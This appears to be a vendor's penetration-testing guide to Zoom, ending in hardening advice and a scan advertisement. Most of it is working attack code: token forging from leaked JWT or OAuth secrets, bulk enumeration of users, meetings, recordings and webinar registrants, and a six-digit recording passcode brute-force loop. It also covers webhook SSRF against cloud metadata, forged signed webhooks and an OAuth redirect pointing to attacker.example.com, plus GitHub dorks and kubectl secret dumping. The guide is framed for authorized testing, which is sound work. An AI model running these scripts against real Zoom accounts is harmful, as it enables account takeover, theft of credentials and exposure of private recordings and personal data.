Zoom hosts over 300 million daily meeting participants and has become the default videoconferencing layer for enterprise communication. That dominance makes it a rich attack surface: leaked API credentials can expose every user in an account, unprotected meeting IDs invite meeting bombing, and misconfigured webhook endpoints turn Event Subscriptions into SSRF launching pads. This guide covers the full attack surface for authorized penetration testers โ from subdomain enumeration and JWT credential hunting to cloud recording access, CVE-2022-22786 client path traversal, and webhook signature bypass.
All techniques in this guide require explicit written authorization from the account owner and relevant system operators. Unauthorized access to Zoom meetings, APIs, or user data violates the Computer Fraud and Abuse Act (CFAA), the UK Computer Misuse Act, and equivalent laws in most jurisdictions. Test only in dedicated sandbox accounts with Zoom's Marketplace developer environment.
Before testing the API, map the target organization's Zoom footprint. Large enterprises often run custom Zoom subdomains (vanity URLs), Zoom Phone integrations, and dedicated Zoom Rooms infrastructure โ each with its own configuration surface.
Organizations with Zoom accounts frequently expose vanity subdomains at <company>.zoom.us. Enumerate these alongside the broader external DNS footprint:
# Passive certificate transparency search
curl -s "https://crt.sh/?q=%25.zoom.us&output=json" | jq '.[].name_value' | sort -u
# Common Zoom subdomain patterns for the target domain
subfinder -d acmecorp.com -silent | grep -i zoom
amass enum -passive -d acmecorp.com | grep zoom
# Check for Zoom vanity URL
curl -sI https://acmecorp.zoom.us/ | grep -i location
Zoom's REST API base is https://api.zoom.us/v2/. The platform has historically maintained backwards-compatible endpoints while introducing new versions, leaving older endpoints active. Confirm which API versions are reachable and probe for undocumented or legacy routes:
# Identify API version support
curl -s https://api.zoom.us/v2/ -H "Authorization: Bearer PLACEHOLDER" | jq .
# Check Zoom Marketplace app configuration pages for credential leakage
# App credentials often appear in browser source, JS bundles, or error responses
curl -s "https://marketplace.zoom.us/apps/<app_id>" | grep -Ei "api_key|api_secret|client_id|client_secret"
# Enumerate Zoom application configuration in target web/mobile apps
grep -r "zoom" /path/to/source --include="*.js" --include="*.env" \
| grep -Ei "(api_key|api_secret|sdk_key|sdk_secret|jwt_token)"
Zoom SDK keys and JWT app credentials are routinely committed to public repositories. Use GitHub dorking and local source code review to find exposed secrets:
# GitHub dorks for Zoom credentials
site:github.com "ZOOM_API_KEY"
site:github.com "ZOOM_API_SECRET"
site:github.com "zoom_jwt_token"
site:github.com "sdk_key" "zoom"
# Local grep for secrets in web application source
grep -rE "(ZOOM_API_KEY|ZOOM_API_SECRET|ZOOM_SDK_KEY|ZOOM_SDK_SECRET|ZOOM_JWT)" \
/var/www/html --include="*.php" --include="*.py" --include="*.env"
Zoom historically provided two primary authentication models for server-side integrations: the legacy JWT App (deprecated June 2023 but still active in many environments) and the current Server-to-Server OAuth App. Both use long-lived credentials that, when exposed, grant full account-level access to the Zoom API.
A Zoom JWT App credential pair (API Key + API Secret) allows an attacker to generate valid bearer tokens for any API call scoped to the associated account. The token is a signed HS256 JWT with a configurable expiry โ often set to hours or days in application code:
import jwt
import time
import requests
# Zoom legacy JWT token generation (HS256)
# API key and secret retrieved from leaked .env or repository
API_KEY = "LEAKED_API_KEY_HERE"
API_SECRET = "LEAKED_API_SECRET_HERE"
payload = {
"iss": API_KEY,
"exp": int(time.time()) + 3600 # 1-hour token
}
token = jwt.encode(payload, API_SECRET, algorithm="HS256")
# Verify the token grants API access
r = requests.get(
"https://api.zoom.us/v2/users/me",
headers={"Authorization": f"Bearer {token}"}
)
print(r.status_code, r.json())
account:read:admin and account:write:admin scope equivalents โ full enumeration of users, meetings, recordings, and the ability to join or delete any meeting in the account.
The current Server-to-Server OAuth model requires an Account ID, Client ID, and Client Secret. These are exchanged for short-lived access tokens via the token endpoint. If credentials are leaked (hardcoded in source, exposed in build artifacts, or left in container image layers), an attacker can continuously generate fresh tokens:
import requests
from base64 import b64encode
ACCOUNT_ID = "LEAKED_ACCOUNT_ID"
CLIENT_ID = "LEAKED_CLIENT_ID"
CLIENT_SECRET = "LEAKED_CLIENT_SECRET"
# Request OAuth token
credentials = b64encode(f"{CLIENT_ID}:{CLIENT_SECRET}".encode()).decode()
r = requests.post(
f"https://zoom.us/oauth/token?grant_type=account_credentials&account_id={ACCOUNT_ID}",
headers={"Authorization": f"Basic {credentials}"}
)
token = r.json().get("access_token")
print(f"Access token: {token}")
# Now enumerate users with the token
users = requests.get(
"https://api.zoom.us/v2/users?status=active&page_size=300",
headers={"Authorization": f"Bearer {token}"}
)
print(users.json())
Zoom OAuth apps with insufficiently validated redirect URIs are vulnerable to authorization code theft. During a penetration test, check whether the registered redirect URI accepts wildcard subdomains or open redirects within the target's domain:
# Probe redirect URI validation
# Replace legitimate redirect with attacker-controlled endpoint
GET https://zoom.us/oauth/authorize
?response_type=code
&client_id=TARGET_CLIENT_ID
&redirect_uri=https://attacker.example.com/callback
# If wildcard subdomain registered: *.acmecorp.com
# Subdomain takeover on dangling CNAME + OAuth code interception
curl -s "https://zoom.us/oauth/authorize?response_type=code&client_id=CLIENT_ID\
&redirect_uri=https://dangling.acmecorp.com/callback&state=csrf_token"
With a valid access token โ whether derived from leaked credentials or obtained via authorized testing โ the Zoom REST API exposes significant organizational intelligence. The following endpoints are most valuable from an attacker's perspective.
# Enumerate all active users in the account (up to 300 per page)
curl -s "https://api.zoom.us/v2/users?status=active&page_size=300" \
-H "Authorization: Bearer $TOKEN" | jq '.users[] | {id, email, role_name, status}'
# Enumerate pending users (invited but not yet joined)
curl -s "https://api.zoom.us/v2/users?status=pending&page_size=300" \
-H "Authorization: Bearer $TOKEN" | jq '.users[] | .email'
# Retrieve specific user profile โ exposes phone, department, location
curl -s "https://api.zoom.us/v2/users/user@acmecorp.com" \
-H "Authorization: Bearer $TOKEN"
The /meetings/{meetingId} and /users/{userId}/recordings endpoints can expose meeting join URLs, passwords, and cloud recording download links to any API caller with meeting:read scope:
# List all recordings for a specific user
curl -s "https://api.zoom.us/v2/users/user@acmecorp.com/recordings?from=2026-01-01" \
-H "Authorization: Bearer $TOKEN" \
| jq '.meetings[] | {topic, start_time, recording_files: [.recording_files[] | {download_url, file_type}]}'
# Get meeting details including password and join URL
curl -s "https://api.zoom.us/v2/meetings/MEETING_ID" \
-H "Authorization: Bearer $TOKEN" \
| jq '{topic, password, join_url, host_email}'
Webinar registrant and attendee lists are exposed via the registrants endpoint. In authorized testing scenarios, this demonstrates GDPR and privacy implications when combined with leaked credentials:
# Enumerate webinar registrants โ name, email, registration time
curl -s "https://api.zoom.us/v2/webinars/WEBINAR_ID/registrants?page_size=300" \
-H "Authorization: Bearer $TOKEN" \
| jq '.registrants[] | {first_name, last_name, email, status}'
# Enumerate past webinar participants โ join/leave times
curl -s "https://api.zoom.us/v2/past_webinars/WEBINAR_UUID/participants" \
-H "Authorization: Bearer $TOKEN" \
| jq '.participants[] | {name, user_email, join_time, leave_time}'
Zoom meeting IDs are 9โ11 digit numbers that are largely sequential and predictable within the same account. Prior to Zoom's password enforcement changes (rolled out post-2020), unprotected meetings were joinable by anyone with the ID. In penetration tests of organizations still running Zoom Rooms, legacy integrations, or scheduled recurring meetings from pre-2020, this vector remains relevant.
import requests
import time
TOKEN = "YOUR_VALID_ACCESS_TOKEN"
# Enumerate a range of meeting IDs via the API
# In authorized testing, verify which IDs respond without password
for meeting_id in range(800000000, 800001000):
r = requests.get(
f"https://api.zoom.us/v2/meetings/{meeting_id}",
headers={"Authorization": f"Bearer {TOKEN}"}
)
if r.status_code == 200:
data = r.json()
password = data.get("password", "NONE")
print(f"[+] Meeting {meeting_id}: {data.get('topic')} | Password: {password}")
time.sleep(0.1) # Rate limiting
Waiting rooms are the primary control preventing meeting bombing. However, several bypass conditions exist in misconfigured accounts:
Zoom cloud recordings can be shared via time-limited URLs that require either authentication or a numeric passcode. Misconfigured recordings are often shared without any access control, relying only on URL obscurity.
# Recordings shared publicly expose a shareable URL pattern:
# https://zoom.us/rec/share/RECORDING_ID?startTime=TIMESTAMP
# In authorized testing โ check if recording requires authentication:
curl -sI "https://zoom.us/rec/share/ABC123?startTime=1234567890" | head -5
# HTTP/2 200 with no redirect to login = unauthenticated access
# Via API โ check if download_url requires authentication:
curl -I "RECORDING_DOWNLOAD_URL_FROM_API"
# 302 redirect to download without token = unauthenticated recording access
When recordings are protected by a numeric passcode (not enforced to meet complexity requirements by default), brute force is viable. Zoom's default passcode is 6 digits, yielding a search space of 1,000,000 combinations:
import requests
import itertools
RECORDING_URL = "https://zoom.us/rec/share/TARGET_RECORDING_ID"
session = requests.Session()
# Retrieve the passcode form token first
r = session.get(RECORDING_URL)
# Extract csrf token from response HTML, then iterate passcodes
for passcode in range(0, 1000000):
code = f"{passcode:06d}"
resp = session.post(RECORDING_URL, data={"passcode": code})
if "Download" in resp.text or resp.status_code == 302:
print(f"[+] Valid passcode found: {code}")
break
Zoom's Event Subscriptions (formerly Webhooks) allow applications to receive real-time notifications to a registered endpoint URL. When an attacker controls the Zoom app configuration โ or when a misconfigured Event Subscription endpoint can be modified โ this creates a server-side request forgery vector where Zoom's servers initiate HTTP requests to arbitrary internal addresses.
# If you have write access to a Zoom app's Event Subscription configuration:
# Set the notification endpoint to an internal IP or metadata service
# Update event subscription URL via Zoom API (requires app write scope)
curl -s -X PATCH "https://api.zoom.us/v2/apps/APP_ID/subscriptions/SUBSCRIPTION_ID" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"event_notification_endpoint_url": "http://169.254.169.254/latest/meta-data/",
"subscriptions": ["meeting.started"]
}'
# Trigger a meeting.started event to cause Zoom servers to call the SSRF target
# Monitor your logging endpoint for Zoom's outbound HTTP request payload
Internal SSRF targets to probe during authorized cloud environment testing:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ โ AWS EC2 instance metadatahttp://metadata.google.internal/computeMetadata/v1/ โ GCP metadata servicehttp://169.254.169.254/metadata/instance?api-version=2021-02-01 โ Azure IMDShttp://internal-service.corp/admin โ Internal service enumerationZoom signs webhook payloads using an HMAC-SHA256 signature derived from the endpoint's verification token. Applications that fail to validate the x-zm-signature header are vulnerable to spoofed webhook events โ an attacker can forge any Zoom event (meeting.ended, user.deleted, recording.completed) to manipulate downstream application logic:
import hmac
import hashlib
import requests
# If the target application does NOT validate webhook signatures:
# Forge a recording.completed event to trigger unauthorized download processing
VERIFICATION_TOKEN = "LEAKED_VERIFICATION_TOKEN" # From .env or source code
TARGET_WEBHOOK_HANDLER = "https://acmecorp.com/api/zoom/webhook"
payload = '{"event":"recording.completed","payload":{"object":{"id":"FAKE_MEETING","recording_files":[{"download_url":"http://attacker.example.com/malicious.mp4"}]}}}'
timestamp = "1699900000"
message = f"v0:{timestamp}:{payload}"
signature = "v0=" + hmac.new(
VERIFICATION_TOKEN.encode(),
message.encode(),
hashlib.sha256
).hexdigest()
requests.post(TARGET_WEBHOOK_HANDLER, data=payload, headers={
"Content-Type": "application/json",
"x-zm-signature": signature,
"x-zm-request-timestamp": timestamp
})
CVE-2022-22786 affected the Zoom Client for Meetings on Windows prior to version 5.10.0. The auto-update mechanism failed to validate the integrity of update packages, allowing a local attacker or a network-positioned adversary to deliver a malicious installer via a path traversal in the update download path. Combined with a man-in-the-middle position on the corporate network (or a rogue WiFi AP), this achieves arbitrary code execution in the context of the logged-in user:
# Verify client version in an authorized internal assessment
# Check installed Zoom version via registry (Windows)
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr "Zoom"
# Or query via WMI (PowerShell)
Get-WmiObject -Class Win32_Product | Where-Object { $_.Name -like "*Zoom*" } | Select Name, Version
The Zoom desktop client registers custom URL protocol handlers (zoommtg:// on Windows/Linux, zoomus:// on macOS). Crafted URLs can be embedded in phishing emails or web pages to trigger automatic client launches, join meetings without user confirmation on older versions, or pass malformed parameters to the client's argument parser:
# Basic meeting join via URL scheme โ launches Zoom client and joins meeting
zoommtg://zoom.us/join?action=join&confno=MEETING_ID&pwd=PASSWORD&zc=0
# In a phishing scenario โ craft a link that silently joins a controlled meeting
# to capture the victim's Zoom display name and avatar
Click to join the security review call
# macOS zoomus:// scheme (equivalent)
zoomus://zoom.us/join?action=join&confno=MEETING_ID
zoommtg:// links in HTML email and web content.
Zoom integrates with hundreds of enterprise applications โ Slack, Salesforce, HubSpot, ServiceNow, and custom internal tools. These integrations require Zoom OAuth credentials and often store them insecurely.
ZOOM_CLIENT_ID, ZOOM_CLIENT_SECRET, ZOOM_ACCOUNT_ID in .env files committed to source controlstrings or static analysis tools like jadx/GhidralocalStorage by web integrations, accessible to any XSS payload# Extract Zoom SDK keys from an Android APK
jadx -d output/ target-app.apk
grep -r "zoom" output/ | grep -Ei "(sdk_key|sdk_secret|api_key|api_secret)" | head -20
# Scan running Kubernetes cluster for Zoom credentials (authorized internal testing)
kubectl get secrets -A -o json | jq -r \
'.items[] | .data | to_entries[] | select(.key | test("zoom|ZOOM")) | .value' \
| base64 -d 2>/dev/null
# Check application logs for token exposure
grep -i "zoom" /var/log/app/*.log | grep -Ei "(access_token|bearer|client_secret)"
The Zoom for Slack integration stores both Slack and Zoom OAuth tokens in the integration backend. A compromise of the Slack workspace's admin token (or Slack's Zoom app configuration) can expose Zoom account credentials, creating a credential chain that escalates from a Slack misconfiguration to full Zoom account takeover:
# Via Slack API โ list installed apps and check for Zoom integration credentials
curl -s "https://slack.com/api/apps.list" \
-H "Authorization: Bearer xoxp-SLACK-TOKEN" \
| jq '.apps[] | select(.name | test("zoom"; "i")) | {id, name}'
Effective Zoom security hardening spans account configuration, API credential hygiene, and client policy enforcement across the entire organization.
user:read:admin or recording:read:admin unless explicitly requiredx-zm-signature headerzoommtg:// and zoomus:// URL schemes in email gateway policies to prevent phishing via custom protocol handlersGET /report/activities for anomalous API access patterns and bulk recording downloads| Vulnerability | Severity | Endpoint / Component | Impact |
|---|---|---|---|
| JWT App API Key/Secret Exposure | Critical | Source code, .env files, repos | Full account takeover, user enumeration, recording access |
| Server-to-Server OAuth Secret Exposure | Critical | Build artifacts, K8s Secrets, logs | Persistent API access, data exfiltration |
| Cloud Recording Unauthenticated Access | Critical | zoom.us/rec/share/ | Sensitive meeting content exposure, PII leak |
| User Directory Enumeration | High | GET /v2/users | Employee PII, role and department exposure |
| Webhook SSRF via Event Subscription URL | High | Event Subscription configuration | Internal network access, cloud metadata exfiltration |
| Webhook Signature Bypass | High | Application webhook handler | Forged events, business logic manipulation |
| Unprotected Meeting ID (no password/waiting room) | High | Meeting join flow | Unauthorized meeting access, eavesdropping |
| CVE-2022-22786: Update Path Traversal | High | Zoom Client for Windows < 5.10.0 | Arbitrary file write, code execution |
| OAuth Redirect URI Misconfiguration | Medium | Zoom OAuth App configuration | Authorization code theft, account takeover |
| Meeting Recording Passcode Brute Force | Medium | zoom.us/rec/share/ passcode form | Recording access, sensitive content exposure |
| Zoom URL Scheme Phishing (zoommtg://) | Medium | Zoom desktop client, email clients | Silent meeting join, user tracking, client exploitation |
| SDK Key Exposure in Mobile Binaries | Medium | iOS/Android app binary | Zoom SDK meeting hosting, user impersonation |
| Webinar Participant Enumeration | Low | GET /v2/webinars/{id}/registrants | Attendee PII, competitive intelligence |
x-zm-signature HMAC-SHA256)zoommtg:// in email gatewaysIronimo's Kali Linux-powered scanning engine continuously tests your Zoom account configuration, API credential hygiene, webhook security, and client version compliance โ surfacing misconfigurations before attackers do.
Start free scan